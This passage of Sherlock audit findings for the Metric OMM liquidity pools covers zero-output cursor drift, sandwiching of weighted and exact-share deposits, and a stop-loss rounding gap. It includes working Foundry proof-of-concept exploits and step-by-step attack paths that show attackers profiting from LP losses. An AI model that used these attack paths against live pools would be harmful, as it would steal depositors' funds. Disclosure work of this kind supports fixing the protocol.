Save the following test as `metric-core/test/ZeroOutputExactInputCursorPoC.t.sol`.

From the repository root, run:

```
cd metric-core && forge test --match-path test/ZeroOutputExactInputCursorPoC.t.sol
↪  -vv
```

Observed output:

```
[PASS] test_zeroOutputCursorDriftCausesMediumLpLoss()
zero-delta exact-input calls: 347
victim principal: 99899.993749999609374680
victim loss: 33.078397604819262369
attacker swap profit: 33.078397604819262367
victim loss (bps): 3.311151
```

Test:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.35;

import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";

import {MetricOmmPoolBaseTest, Q64} from "./MetricOmmPool.base.t.sol";
import {MetricOmmPool} from "../contracts/MetricOmmPool.sol";
import {MetricOmmPoolFactory} from "../contracts/MetricOmmPoolFactory.sol";
import {MetricOmmPoolDeployer} from "../contracts/MetricOmmPoolDeployer.sol";
import {SwapMath, MAX_POS_BIN} from "../contracts/libraries/SwapMath.sol";
import {PoolParameters} from "../contracts/types/FactoryOperation.sol";
import {ExtensionOrders} from "../contracts/types/PoolExtensionsConfig.sol";
import {IMetricOmmPoolActions} from
↪  "../contracts/interfaces/IMetricOmmPool/IMetricOmmPoolActions.sol";
import {IMetricOmmSwapCallback} from
↪  "../contracts/interfaces/callbacks/IMetricOmmSwapCallback.sol";

/// @dev A permissionless caller can batch the free swaps in one transaction.
contract ExactInputCursorDrifter is IMetricOmmSwapCallback {
  function drift(address pool, uint128[] calldata priceLimits) external {
    for (uint256 i; i < priceLimits.length; ++i) {
      (int128 delta0, int128 delta1) =
        IMetricOmmPoolActions(pool).swap(address(this), false, 2, priceLimits[i],
        ↪  "", "");
      require(delta0 == 0 && delta1 == 0, "nonzero swap delta");
    }
  }

  function metricOmmSwapCallback(int256 delta0, int256 delta1, bytes calldata)
  ↪  external pure {
    require(delta0 == 0 && delta1 == 0, "unexpected payment");
  }
}
```

```
/// @notice Verifies that exact-input zero-output rounding can be accumulated into
///         a material cursor/reserve desynchronization and converted into LP loss.
contract ZeroOutputExactInputCursorPoC is MetricOmmPoolBaseTest {
  uint16 internal constant BIN_LENGTH_E6 = 20_000; // 2%, centred around the oracle
   ↪  mid.
  int24 internal constant BIN_START_E6 = -10_000;
  uint104 internal constant SEED_SHARES = 1_000;
  uint104 internal constant VICTIM_SHARES = 100_000e18;
  uint80 internal constant SEED_SALT = 11;
  uint80 internal constant VICTIM_SALT = 22;

  uint128 internal bidX64;
  uint128 internal askX64;
  uint256 internal midX64;
  uint256 internal lowerX64;
  uint256 internal upperX64;

  function setUp() public override {
    super.setUp();

    // A normal 5-bps oracle half-spread. The pool has no additional bin or
    // notional fees; no malicious administrator or abnormal token is involved.
    bidX64 = uint128(Math.mulDiv(Q64, 9_995, 10_000));
    askX64 = uint128(Math.mulDiv(Q64, 10_005, 10_000, Math.Rounding.Ceil));
    oracle.setBidAndAskPrice(bidX64, askX64);
    (midX64,) = SwapMath.midAndSpreadFeeX64FromBidAsk(bidX64, askX64);
    lowerX64 = Math.mulDiv(midX64, 990_000, 1_000_000);
    upperX64 = Math.mulDiv(midX64, 1_010_000, 1_000_000);

    // Deploy through the production factory so every pool parameter passes the
    // same validation and packing used on-chain.
    assertLt(uint160(address(token0)), uint160(address(token1)), "test deployment
     ↪  preserves token0 < token1");
    oracle.setTokens(address(token0), address(token1));
    MetricOmmPoolFactory realFactory = new MetricOmmPoolFactory(address(this));
    MetricOmmPoolDeployer realDeployer = new
     ↪  MetricOmmPoolDeployer(address(realFactory));
    realFactory.setPoolDeployer(address(realDeployer));

    uint256[] memory packedBins = new uint256[](1);
    packedBins[0] = uint256(uint48(BIN_LENGTH_E6));
    pool = MetricOmmPool(
      realFactory.createPool(
        PoolParameters({
          token0: address(token0),
          token1: address(token1),
          priceProvider: address(oracle),
          extensions: new address[](0),
          extensionOrders: ExtensionOrders({
            beforeAddLiquidity: 0,
```

```
            afterAddLiquidity: 0,
            beforeRemoveLiquidity: 0,
            afterRemoveLiquidity: 0,
            beforeSwap: 0,
            afterSwap: 0
          }),
          extensionInitData: new bytes[](0),
          priceProviderTimelock: type(uint256).max,
          admin: address(this),
          initialAmount0PerShareE18: 1e18,
          initialAmount1PerShareE18: 1e18,
          minimalMintableLiquidity: SEED_SHARES,
          adminSpreadFeeE6: 0,
          adminNotionalFeeE8: 0,
          adminFeeDestination: adminFeeDestination,
          curBinDistFromProvidedPriceE6: BIN_START_E6,
          nonNegativeBinDataArray: packedBins,
          negativeBinDataArray: new uint256[](0),
          salt: keccak256("zero-output-exact-input-medium-poc")
        })
      )
    );
    factory = address(realFactory);
    assertTrue(realFactory.isPool(address(pool)), "production factory recognizes
    ↪  the pool");
    _approveUsersForPool(address(pool));
  }

  function test_zeroOutputCursorDriftCausesMediumLpLoss() public {
    // Seed the honest pool's active bin with the documented minimum liquidity.
    (uint256 seed0, uint256 seed1) = _addLiquidity(0, 0, 0, SEED_SHARES, SEED_SALT);
    assertEq(seed0, SEED_SHARES);
    assertEq(seed1, 0);

    // A real dust-sized trade puts the bin at its oracle-centred midpoint.
    uint256 midpoint = MAX_POS_BIN / 2;
    uint128 midpointLimit = _priceAt(midpoint);
    (int256 setupDelta0, int256 setupDelta1) =
      _swap(0, users[0], false, _i128ExactIn(2_000), midpointLimit);
    assertLt(setupDelta0, 0);
    assertGt(setupDelta1, 0);

    uint256 honestCursor = _getCurPosInBin();
    (uint104 reserve0Before, uint104 reserve1Before,,,) = _getBinState(0);
    assertApproxEqAbs(honestCursor, midpoint, MAX_POS_BIN / 1e12, "setup reaches
    ↪  bin midpoint");
    assertGt(reserve0Before, 0);
    assertGt(reserve1Before, 0);

    // Control: at the synchronized midpoint, the same LP can add and remove the
```

```
    // same shares without suffering the later attack loss.
    uint256 cleanState = vm.snapshotState();
    (uint256 controlAdded0, uint256 controlAdded1) = _addLiquidity(1, 0, 0,
    ↪  VICTIM_SHARES, VICTIM_SALT);
    (uint256 controlRemoved0, uint256 controlRemoved1) = _removeLiquidity(1, 0, 0,
    ↪  VICTIM_SHARES, VICTIM_SALT);
    uint256 controlPrincipal = _valueInToken1(controlAdded0, controlAdded1);
    uint256 controlRecovered = _valueInToken1(controlRemoved0, controlRemoved1);
    assertLe(controlPrincipal - controlRecovered, 2, "synchronized control has only
    ↪  atomic rounding dust");
    assertTrue(vm.revertToState(cleanState));

    // Accumulate sub-unit rounding in a single batched transaction. Every inner
    // exact-input swap returns (0,0), pays no fee, and still advances the cursor.
    uint256 targetCursor = (MAX_POS_BIN * 3) / 4;
    uint128[] memory priceLimits = _buildZeroOutputLimits(honestCursor,
    ↪  targetCursor, reserve0Before);
    uint256 zeroDeltaCalls = priceLimits.length;
    ExactInputCursorDrifter drifter = new ExactInputCursorDrifter();
    uint256 drifter0Before = token0.balanceOf(address(drifter));
    uint256 drifter1Before = token1.balanceOf(address(drifter));
    drifter.drift(address(pool), priceLimits);
    assertGe(_getCurPosInBin(), targetCursor, "one batched call advances the cursor
    ↪  to the target");
    assertEq(token0.balanceOf(address(drifter)), drifter0Before, "batch pays no
    ↪  token0");
    assertEq(token1.balanceOf(address(drifter)), drifter1Before, "batch pays no
    ↪  token1");

    (uint104 reserve0AfterDrift, uint104 reserve1AfterDrift,,,) = _getBinState(0);
    assertEq(reserve0AfterDrift, reserve0Before, "cursor drift does not change
    ↪  reserve0");
    assertEq(reserve1AfterDrift, reserve1Before, "cursor drift does not change
    ↪  reserve1");

    // The victim's exact-share deposit quote is reserve-based for a nonempty bin,
    // so the free cursor manipulation does not alter or invalidate token caps.
    (uint256 victimAdded0, uint256 victimAdded1) = _addLiquidity(1, 0, 0,
    ↪  VICTIM_SHARES, VICTIM_SALT);
    assertEq(victimAdded0, Math.ceilDiv(uint256(reserve0Before) * VICTIM_SHARES,
    ↪  SEED_SHARES));
    assertEq(victimAdded1, Math.ceilDiv(uint256(reserve1Before) * VICTIM_SHARES,
    ↪  SEED_SHARES));
    uint256 victimPrincipal = _valueInToken1(victimAdded0, victimAdded1);

    // Sell token0 through the artificial interval back to the honest midpoint.
    uint256 attacker0Before = token0.balanceOf(address(callers[0]));
    uint256 attacker1Before = token1.balanceOf(address(callers[0]));
    (int256 backrunDelta0, int256 backrunDelta1) =
```

```
    _swap(0, address(callers[0]), true, _i128ExactIn(uint128(100_000e18)),
    ↪  midpointLimit);
  assertGt(backrunDelta0, 0);
  assertLt(backrunDelta1, 0);

  uint256 attackerSpent0 = attacker0Before -
  ↪  token0.balanceOf(address(callers[0]));
  uint256 attackerReceived1 = token1.balanceOf(address(callers[0])) -
  ↪  attacker1Before;
  uint256 attackerSpentValue = Math.mulDiv(attackerSpent0, midX64, Q64,
  ↪  Math.Rounding.Ceil);
  assertGt(attackerReceived1, attackerSpentValue, "back-run is profitable at the
  ↪  correct oracle mid");
  uint256 attackerProfit = attackerReceived1 - attackerSpentValue;

  // Realise the victim's principal loss by withdrawing exactly its shares.
  (uint256 victimRemoved0, uint256 victimRemoved1) = _removeLiquidity(1, 0, 0,
  ↪  VICTIM_SHARES, VICTIM_SALT);
  uint256 victimRecovered = _valueInToken1(victimRemoved0, victimRemoved1);
  uint256 victimLoss = victimPrincipal - victimRecovered;
  uint256 victimLossBpsE6 = Math.mulDiv(victimLoss, 10_000e6, victimPrincipal);

  emit log_named_uint("zero-delta exact-input calls", zeroDeltaCalls);
  emit log_named_decimal_uint("victim principal", victimPrincipal, 18);
  emit log_named_decimal_uint("victim loss", victimLoss, 18);
  emit log_named_decimal_uint("attacker swap profit", attackerProfit, 18);
  emit log_named_decimal_uint("victim loss (bps)", victimLossBpsE6, 6);

  assertGt(attackerProfit, 10e18, "attacker profit exceeds $10 at the correct 1:1
  ↪  oracle price");
  assertGt(victimLoss, 10e18, "LP principal loss exceeds $10");
  assertGt(victimLossBpsE6, 1e6, "LP principal loss exceeds 0.01% (one basis
  ↪  point)");
}

function _priceAt(uint256 position) internal view returns (uint128) {
  return uint128(SwapMath.calculatePriceAtBinPosition(lowerX64, upperX64,
  ↪  position, Math.Rounding.Ceil));
}

function _buildZeroOutputLimits(uint256 cursor, uint256 target, uint256
↪  outputReserve)
  internal
  view
  returns (uint128[] memory limits)
{
  limits = new uint128[](2_000);
  uint256 count;
  while (cursor < target) {
    uint256 remaining = MAX_POS_BIN - cursor;
```

```
      uint256 step = remaining / (outputReserve + 1);
      uint256 requested = cursor + step;
      if (requested > target) requested = target;

      uint128 limit = _priceAt(requested);
      uint256 resultingCursor =
        SwapMath.calculateBinPositionAtPrice(lowerX64, upperX64, limit,
        ↪  Math.Rounding.Floor);
      require(resultingCursor > cursor, "price quantization made no progress");
      limits[count++] = limit;
      require(count < 2_000, "too many free steps");
      cursor = resultingCursor;
    }
    assembly ("memory-safe") {
      mstore(limits, count)
    }
  }

  function _valueInToken1(uint256 amount0, uint256 amount1) internal view returns
  ↪  (uint256) {
    return amount1 + Math.mulDiv(amount0, midX64, Q64);
  }
}
```

Mitigation

Apply the same zero-output invariant already implemented for the exact-output functions to both exact-input functions. Before mutating balances or returning a computed target cursor, reset to the original cursor when output is zero:

```
// buyToken0InBinSpecifiedIn
if (out0Scaled == 0) {
    return (currBinPos, 0, 0, 0, 0);
}

// buyToken1InBinSpecifiedIn
if (out1Scaled == 0) {
    return (currBinPos, 0, 0, 0, 0);
}
```

Place each guard after the final output/target calculation and before fee, balance, and state updates. Add regression tests for both exact-input directions proving that zero output implies an unchanged cursor, unchanged balances, zero fees, and zero external deltas.

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Metric-OMM/metric-core/pull/63

Issue M-6: `addLiquidityWeighted()` cursor bounds do not prevent depositors from being arbitraged when bins are imbalanced

Source: https://github.com/sherlock-audit/2026-07-metric-judging/issues/2932

Found by

Kvar

Summary

Issue M-1 from Sherlock's collaborative audit showed that an LP could be sandwiched because `addLiquidityWeighted()` did not protect against cursor manipulation. The fix added cursor bounds, allowing the LP to specify the bin and position range they accept.

However, a bin's token composition can differ from what its cursor indicates. In this case, the cursor check passes, but the LP deposits according to the manipulated token ratio and can be arbitraged afterward.

Root Cause

`MetricOmmPoolLiquidityAdder::addLiquidityWeighted()` checks that the current bin and position are within the user's bounds.

However, liquidity added to a non-empty bin is calculated proportionally to its existing `token0BalanceScaled` and `token1BalanceScaled`. These balances can become inconsistent with the cursor.

Therefore, a user can provide correct cursor bounds while still depositing into an imbalanced bin.

This state can be created through a first-depositor rounding attack or an oracle shock. The known oracle-shock issue describes arbitraging existing LPs. This issue affects a new LP depositing into that state.

Internal Pre-conditions

In two of the three explained scenarios, the target bin must be empty.

External Pre-conditions

In one of the three explained scenarios, an oracle shock must cause the bin composition to no longer match its cursor.

Attack Path

Attack path 1:

NOTE: The PoC below shows this exact attack path.

This attack requires `minimalMintableLiquidity` to be `1`. This is not a misconfiguration because the documentation states:

> Must be **non-zero**. Too high excludes small LPs; too low can increase dust and rounding edge cases.

The documentation only warns about dust and rounding edge cases. However, the PoC shows that these rounding effects can lead to direct loss of LP funds.

1. A pool is created for two equally priced tokens. Both initial scaled amounts per share are `1e18`.
2. Alice is the first depositor in bin `0` and deposits `1e18` shares.
3. Alice swaps one wei outward, moving the cursor slightly away from the boundary.
4. Bob submits `addLiquidityWeighted()` with cursor bounds that accept this small movement.
5. Alice front-runs Bob and removes all but one share.
6. Due to rounding, the remaining share is backed by `1 wei` of token0 and `1 wei` of token1. The bin now has a 1:1 composition, while the cursor remains near the boundary.
7. Bob's cursor check passes, and his deposit is calculated using the manipulated 1:1 composition.
8. Alice back-runs Bob and arbitrages his deposit.

The PoC runs the same swaps twice. When Alice does not remove her liquidity, Bob does not lose funds. When Alice removes all but one share and creates the incorrect 1:1 composition, Bob loses funds.

Attack path 2:

A similar imbalance can be created with a minimum liquidity of `1,000`, which is the value used in the protocol's tests:

1. Alice deposits `1e18` shares.
2. She swaps one token unit outward.
3. She removes `1e18 - 1,000` shares, leaving `1,000` shares backed by approximately `1,000` units of token0 and `1` unit of token1.
4. Alice adds one share and then removes one share.
5. Adding the share rounds both required token amounts upward. Removing it returns one token0 unit but rounds the token1 withdrawal down to zero.

6. Each loop therefore adds one token1 unit to the bin without changing its shares, token0 balance, or cursor.
7. After roughly 100–200 loops, depending on the pool parameters, the imbalance can become large enough for the attack to be profitable.
8. Bob's deposit passes his cursor bounds but uses the manipulated composition.
9. Alice back-runs Bob and arbitrages his deposit.

Impact

A depositor can lose funds through arbitrage even though the cursor is within the range they accepted. The cursor check passes, but the deposit still uses a manipulated token composition.

PoC

Create a new test file in `metric-periphery/test`:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.35;

import {MetricOmmPoolBaseTest, Q64} from
↪  "../lib/metric-core/test/MetricOmmPool.base.t.sol";
import {MetricOmmPool} from "@metric-core/MetricOmmPool.sol";
import {MetricOmmPoolDeployer} from "@metric-core/MetricOmmPoolDeployer.sol";
import {BinState} from "@metric-core/types/PoolStorage.sol";
import {LiquidityDelta} from "@metric-core/types/PoolOperation.sol";
import {PoolFeeConfig} from "@metric-core/types/FactoryStorage.sol";
import {MetricOmmPoolLiquidityAdder} from
↪  "../contracts/MetricOmmPoolLiquidityAdder.sol";

contract NearBoundaryCompositionSandwichPoC is MetricOmmPoolBaseTest {
  MetricOmmPoolLiquidityAdder internal liquidityAdder;

  function setUp() public override {
    super.setUp();

    BinState[] memory nonNegativeBins = new BinState[](1);
    nonNegativeBins[0].lengthE6 = 50_000;

    BinState[] memory negativeBins = new BinState[](1);
    negativeBins[0].lengthE6 = 50_000;

    pool = MetricOmmPool(
      poolDeployer.deploy(
        MetricOmmPoolDeployer.DeployParams({
          salt: keccak256("near-boundary-composition-sandwich"),
```

```
        factory: address(this),
        admin: admin,
        adminFeeDestination: adminFeeDestination,
        token0: address(token0),
        token1: address(token1),
        priceProvider: address(oracle),
        extensions: _emptyExtensions(),
        extensionOrders: _emptyExtensionOrders(),
        immutablePriceProvider: true,
        token0ScaleMultiplier: 1,
        token1ScaleMultiplier: 1,
        initialScaledAmount0PerShareE18: 1e18,
        initialScaledAmount1PerShareE18: 1e18,
        minimalMintableLiquidity: 1,
        spreadFeeE6: 0,
        curBinDistFromProvidedPriceE6: 0,
        nonNegativeBinStates: nonNegativeBins,
        negativeBinStates: negativeBins,
        notionalFeeE8: 0
      })
    )
  );

  priceProviderTimelock[address(pool)] = type(uint256).max;
  poolAdmin[address(pool)] = admin;
  poolFeeConfig[address(pool)] =
    PoolFeeConfig({protocolSpreadFeeE6: 0, adminSpreadFeeE6: 0,
    ↪  protocolNotionalFeeE8: 0, adminNotionalFeeE8: 0});
  poolAdminFeeDestination[address(pool)] = adminFeeDestination;

  _approveUsersForPool(address(pool));

  liquidityAdder = new MetricOmmPoolLiquidityAdder(address(token0));
  vm.startPrank(users[1]);
  token0.approve(address(liquidityAdder), type(uint256).max);
  token1.approve(address(liquidityAdder), type(uint256).max);
  vm.stopPrank();
}

function _normalRatioUserLoss() internal returns (int256) {
  uint256 victimBefore = token0.balanceOf(users[1]) + token1.balanceOf(users[1]);

  uint104 attackerShares = 1e18;
  uint104 acceptedDistance = type(uint104).max / 1e15;

  // Normal case: move the cursor slightly, but keep all liquidity in the bin.
  _addLiquidity(0, 0, 0, attackerShares, 1);
  _swap(0, address(callers[0]), false, -1, type(uint128).max);

  // The victim accepts a cursor very close to the boundary.
```

```
    LiquidityDelta memory victimDelta;
    victimDelta.binIdxs = new int256[](1);
    victimDelta.shares = new uint256[](1);
    victimDelta.binIdxs[0] = 0;
    victimDelta.shares[0] = 1e18;

    vm.prank(users[1]);
    liquidityAdder.addLiquidityWeighted(
      address(pool),
      2,
      victimDelta,
      100_000e18,
      1_000e18,
      -1,
      type(uint104).max - acceptedDistance,
      0,
      acceptedDistance,
      ""
    );

    // Run the same two swaps used in the attack case.
    (uint104 balance0,,,,) = _getBinState(0);
    _swap(0, address(callers[0]), false, -int128(uint128(balance0 - 1)),
    ↪  type(uint128).max);
    _swap(0, address(callers[0]), true, int128(1_000_000e18), uint128(Q64));

    // Both LPs withdraw so the victim's final loss can be measured.
    _removeLiquidity(0, 0, 0, attackerShares, 1);
    victimDelta.shares[0] = _getPositionBinShares(users[1], 2, 0);
    vm.prank(users[1]);
    pool.removeLiquidity(users[1], 2, victimDelta, "");

    uint256 victimAfter = token0.balanceOf(users[1]) + token1.balanceOf(users[1]);
    return int256(victimBefore) - int256(victimAfter);
  }

  function _roundedRatioUserLoss() internal returns (int256) {
    uint256 victimBefore = token0.balanceOf(users[1]) + token1.balanceOf(users[1]);

    uint104 attackerShares = 1e18;
    uint104 acceptedDistance = type(uint104).max / 1e15;

    // Move the cursor by one wei, then withdraw everything except one share.
    // Rounding leaves that share backed by 1 wei of each token.
    _addLiquidity(0, 0, 0, attackerShares, 1);
    _swap(0, address(callers[0]), false, -1, type(uint128).max);
    _removeLiquidity(0, 0, 0, attackerShares - 1, 1);

    // The cursor still passes the victim's bounds, so the deposit goes through.
    LiquidityDelta memory victimDelta;
```

```
    victimDelta.binIdxs = new int256[](1);
    victimDelta.shares = new uint256[](1);
    victimDelta.binIdxs[0] = 0;
    victimDelta.shares[0] = 1e18;

    vm.prank(users[1]);
    liquidityAdder.addLiquidityWeighted(
      address(pool),
      2,
      victimDelta,
      100_000e18,
      1_000e18,
      -1,
      type(uint104).max - acceptedDistance,
      0,
      acceptedDistance,
      ""
    );

    // Run exactly the same two swaps as in the normal case.
    (uint104 balance0,,,,) = _getBinState(0);
    _swap(0, address(callers[0]), false, -int128(uint128(balance0 - 1)),
    ↪  type(uint128).max);
    _swap(0, address(callers[0]), true, int128(1_000_000e18), uint128(Q64));

    // Withdraw all remaining shares and measure the victim's realized loss.
    _removeLiquidity(0, 0, 0, 1, 1);
    victimDelta.shares[0] = _getPositionBinShares(users[1], 2, 0);
    vm.prank(users[1]);
    pool.removeLiquidity(users[1], 2, victimDelta, "");

    uint256 victimAfter = token0.balanceOf(users[1]) + token1.balanceOf(users[1]);
    return int256(victimBefore) - int256(victimAfter);
  }

  function test_compareUserLoss() public {
    // Run both cases from exactly the same starting state.
    uint256 snapshot = vm.snapshotState();
    int256 normalLoss = _normalRatioUserLoss();
    vm.revertToState(snapshot);
    int256 roundedLoss = _roundedRatioUserLoss();

    assertGt(roundedLoss, normalLoss);
  }
}
```

Run `test_compareUserLoss()` to execute the PoC.

Mitigation

No response

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits: https://github.com/Metric-OMM/metric-core/commit/e2398825le04be48a2f4ce34a7e6786bf39b1207

Issue M-7: `addLiquidityExactShares()` has no cursor bounds, allowing depositors to be sandwiched after a bin is emptied

Source: https://github.com/sherlock-audit/2026-07-metric-judging/issues/2952

Found by

Kvar

Summary

`MetricOmmPoolLiquidityAdder::addLiquidityExactShares()` does not have the minimum and maximum cursor bounds that `addLiquidityWeighted()` has, as exact shares and maximum token amounts are expected to provide sufficient protection.

However, if a bin is emptied, the next deposit uses the initial amounts per share. If the previous share price was higher, the victim's maximum amounts were calculated using the old state and may still allow the transaction after the bin is reset and its cursor is moved.

The attacker can therefore empty the bin, deposit the minimum liquidity, move the cursor, let the victim deposit, and then arbitrage the victim.

Root Cause

`addLiquidityExactShares()` checks only whether the required token amounts exceed `maxAmountToken0` or `maxAmountToken1`. It does not let the user restrict the bin cursor.

When a bin has no shares, `LiquidityLib::addLiquidity()` calculates the required amounts using the initial amounts per share and the current cursor. Therefore, the same number of shares can be deposited with a different composition while remaining below the victim's maximum amounts.

Internal Pre-conditions

- Attacker must be the only LP in the bin.
- The bin's share price must be higher than its initial share price.

External Pre-conditions

None.

Attack Path

1. Alice is the only LP in bin `X`.
2. Bob submits a transaction to receive a fixed number of shares and sets the maximum token amounts based on the current bin state.
3. Alice front-runs Bob and withdraws all liquidity from the bin.
4. Alice deposits the minimum liquidity.
5. Alice swaps outward, moving the cursor toward the end of the bin.
6. Bob's transaction executes because the required amounts remain below his maximum amounts.
7. Bob deposits using a different composition than the one he expected.
8. Alice back-runs Bob and arbitrages his deposit.

This initial state can happen in several ways. The pool may have been active for some time and the bin's share price may have increased naturally, with Alice eventually becoming its only remaining LP. Alice may also create this state through share inflation by trading against her own liquidity, or through rounding when `minimalMintableLiquidity` is low.

Impact

Bob gets arbitraged and thus loses funds.

PoC

Create a new test file in `metric-periphery/test`:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.35;

import {MetricOmmPoolBaseTest, Q64} from
↪  "../lib/metric-core/test/MetricOmmPool.base.t.sol";
import {MetricOmmPool} from "@metric-core/MetricOmmPool.sol";
import {MetricOmmPoolDeployer} from "@metric-core/MetricOmmPoolDeployer.sol";
import {SwapMath} from "@metric-core/libraries/SwapMath.sol";
import {LiquidityDelta} from "@metric-core/types/PoolOperation.sol";
import {BinState} from "@metric-core/types/PoolStorage.sol";
import {PoolFeeConfig} from "@metric-core/types/FactoryStorage.sol";
import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
import {MetricOmmPoolLiquidityAdder} from
↪  "../contracts/MetricOmmPoolLiquidityAdder.sol";

contract ExactSharesCursorSandwichPoC is MetricOmmPoolBaseTest {
  MetricOmmPoolLiquidityAdder internal liquidityAdder;
```

```
function setUp() public override {
  super.setUp();

  BinState[] memory positiveBins = new BinState[](1);
  BinState[] memory negativeBins = new BinState[](1);
  positiveBins[0].lengthE6 = 50_000;
  negativeBins[0].lengthE6 = 50_000;

  pool = MetricOmmPool(
    poolDeployer.deploy(
      MetricOmmPoolDeployer.DeployParams({
        salt: keccak256("exact-shares-sandwich"),
        factory: address(this),
        admin: admin,
        adminFeeDestination: adminFeeDestination,
        token0: address(token0),
        token1: address(token1),
        priceProvider: address(oracle),
        extensions: _emptyExtensions(),
        extensionOrders: _emptyExtensionOrders(),
        immutablePriceProvider: true,
        token0ScaleMultiplier: 1,
        token1ScaleMultiplier: 1,
        initialScaledAmount0PerShareE18: 1e18,
        initialScaledAmount1PerShareE18: 1e18,
        minimalMintableLiquidity: 1,
        spreadFeeE6: 0,
        curBinDistFromProvidedPriceE6: 0,
        nonNegativeBinStates: positiveBins,
        negativeBinStates: negativeBins,
        notionalFeeE8: 0
      })
    )
  );

  priceProviderTimelock[address(pool)] = type(uint256).max;
  poolAdmin[address(pool)] = admin;
  poolFeeConfig[address(pool)] =
    PoolFeeConfig({protocolSpreadFeeE6: 0, adminSpreadFeeE6: 0,
    ↪  protocolNotionalFeeE8: 0, adminNotionalFeeE8: 0});
  poolAdminFeeDestination[address(pool)] = adminFeeDestination;
  _approveUsersForPool(address(pool));

  liquidityAdder = new MetricOmmPoolLiquidityAdder(address(token0));
  vm.startPrank(users[1]);
  token0.approve(address(liquidityAdder), type(uint256).max);
  token1.approve(address(liquidityAdder), type(uint256).max);
  vm.stopPrank();
}
```

```
function test_exactSharesCanBeSandwichedAfterBinReset() public {
  uint256 victimBefore = token0.balanceOf(users[1]) + token1.balanceOf(users[1]);
  uint104 middle = type(uint104).max / 2;
  uint128 middlePrice =
    uint128(SwapMath.calculatePriceAtBinPosition(uint128(Q64), uint128(Q64 * 105
    ↪  / 100), middle, Math.Rounding.Ceil));

  // Put the cursor in the middle of an empty bin.
  _addLiquidity(0, 0, 0, 1e18, 1);
  _swap(0, address(callers[0]), false, int128(1e18), middlePrice);
  _removeLiquidity(0, 0, 0, 1e18, 1);

  // Alice owns one share. Two round trips leave it backed by 4 token0 and 4
  ↪  token1.
  _addLiquidity(0, 0, 0, 1, 2);
  for (uint256 i; i < 2; ++i) {
    _swap(0, address(callers[0]), false, 100, type(uint128).max);
    _swap(0, address(callers[0]), true, 100, middlePrice);
  }

  (uint104 balance0, uint104 balance1,,,) = _getBinState(0);
  uint256 attackerBefore =
    token0.balanceOf(address(callers[0])) + token1.balanceOf(address(callers[0]))
    ↪  + balance0 + balance1;

  LiquidityDelta memory victimDelta;
  victimDelta.binIdxs = new int256[](1);
  victimDelta.shares = new uint256[](1);
  victimDelta.binIdxs[0] = 0;
  victimDelta.shares[0] = 100e18;

  // Alice front-runs Bob, resets the share price, and moves to the boundary.
  _removeLiquidity(0, 0, 0, 1, 2);
  _addLiquidity(0, 0, 0, 1, 3);
  _swap(0, address(callers[0]), false, 100, type(uint128).max);

  // Bob's old 4/4 caps still pass.
  vm.prank(users[1]);
  liquidityAdder.addLiquidityExactShares(address(pool), 4, victimDelta, 400e18,
  ↪  400e18, "");

  // Alice back-runs Bob and returns the cursor to the middle.
  _swap(0, address(callers[0]), true, int128(1_000_000e18), middlePrice);
  _removeLiquidity(0, 0, 0, 1, 3);

  victimDelta.shares[0] = _getPositionBinShares(users[1], 4, 0);
  vm.prank(users[1]);
  pool.removeLiquidity(users[1], 4, victimDelta, "");
```

```
    uint256 victimAfter = token0.balanceOf(users[1]) + token1.balanceOf(users[1]);
    uint256 attackerAfter = token0.balanceOf(address(callers[0])) +
    ↪  token1.balanceOf(address(callers[0]));
    assertLt(victimAfter, victimBefore);
    assertGt(attackerAfter, attackerBefore);
  }
}
```

Run `test_exactSharesCanBeSandwichedAfterBinReset()` to execute the PoC.

Mitigation

No response

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Metric-OMM/metric-periphery/pull/47

Issue M-8: Stop-loss checks can miss a 10% drawdown in a normal USDC/WBTC pool

Source: https://github.com/sherlock-audit/2026-07-metric-judging/issues/3048

Found by

GPT-wrapper, Jornason, iepathos, pkqs90, sahuang, savidjn, serial-coder, sonanh08t4

Summary

The stop-loss extension records token-denominated value at a fixed six-decimal precision. In a USDC/WBTC pool, this can let a 5% stop-loss check pass after the true protected value has fallen by more than 10%.

Root cause

`_metrics()` floors each balance component after multiplying it by the fixed `1e6` scale. This precision is too low when the protected numeraire is an expensive asset such as WBTC.

Source: OracleValueStopLossExtension._metrics()

```
uint256 t0ps = Math.mulDiv(uint256(t0), METRIC_SCALE, shares);
uint256 t1ps = Math.mulDiv(uint256(t1), METRIC_SCALE, shares);

metricT1 = _clampMetric(
  // audit-bug: Both value components are floored before the comparison.
  Math.mulDiv(
    Math.mulDiv(uint256(t0), midPriceX64, Q64),
    METRIC_SCALE,
    shares
  ) + t1ps
);
```

`_applyWatermark()` floors the drawdown threshold again and uses a strict comparison.

Source: OracleValueStopLossExtension._applyWatermark()

```
if (metric >= hwm) return (metric, false);

// audit-bug: hwm = 8 and a 5% limit both round to a threshold of 7.
breached = metric < (hwm * floorMultiplier) / E6;
```

In a normally denominated USDC/WBTC pool, the token1 watermark is `8`. After WBTC reprices from `$100,000` to `$125,000`, the protected leg produces a metric of `7`. The 5% threshold also rounds to `7`, so `7 < 7` is false even though the precise drawdown is `10.025%`.

Attack Path

1. An LP deposits 2,005,000 USDC into a USDC/WBTC pool with a 5% stop-loss. Each `1e18` shares represents one USDC or `0.00001 WBTC`, both worth `$1` at the initial price.
2. A normal swap centers the bin and records the token1 watermark as `8`.
3. The oracle correctly reprices WBTC from `$100,000` to `$125,000`.
4. A swapper starts the protected WBTC-for-USDC leg. Its true token1-denominated value falls by `10.025%`.
5. The live metric and rounded threshold are both `7`, so the extension allows the swap.
6. The swapper completes the cycle and reduces the LP's oracle-marked principal.

Impact

The configured 5% stop-loss fails during a 10.025% protected-leg drawdown. The reproduced cycle costs the LP `$567.63`, or `0.025235%` of principal, which exceeds both Medium thresholds.

The underlying oracle-repricing cycle is already documented. The issue here is narrower: an installed stop-loss fails to block that cycle under normal USDC/WBTC denominations.

PoC

Add `metric-periphery/test/audit/OracleStopLossTokenDenominationPoC.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.35;

import {Test} from "forge-std/Test.sol";
import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
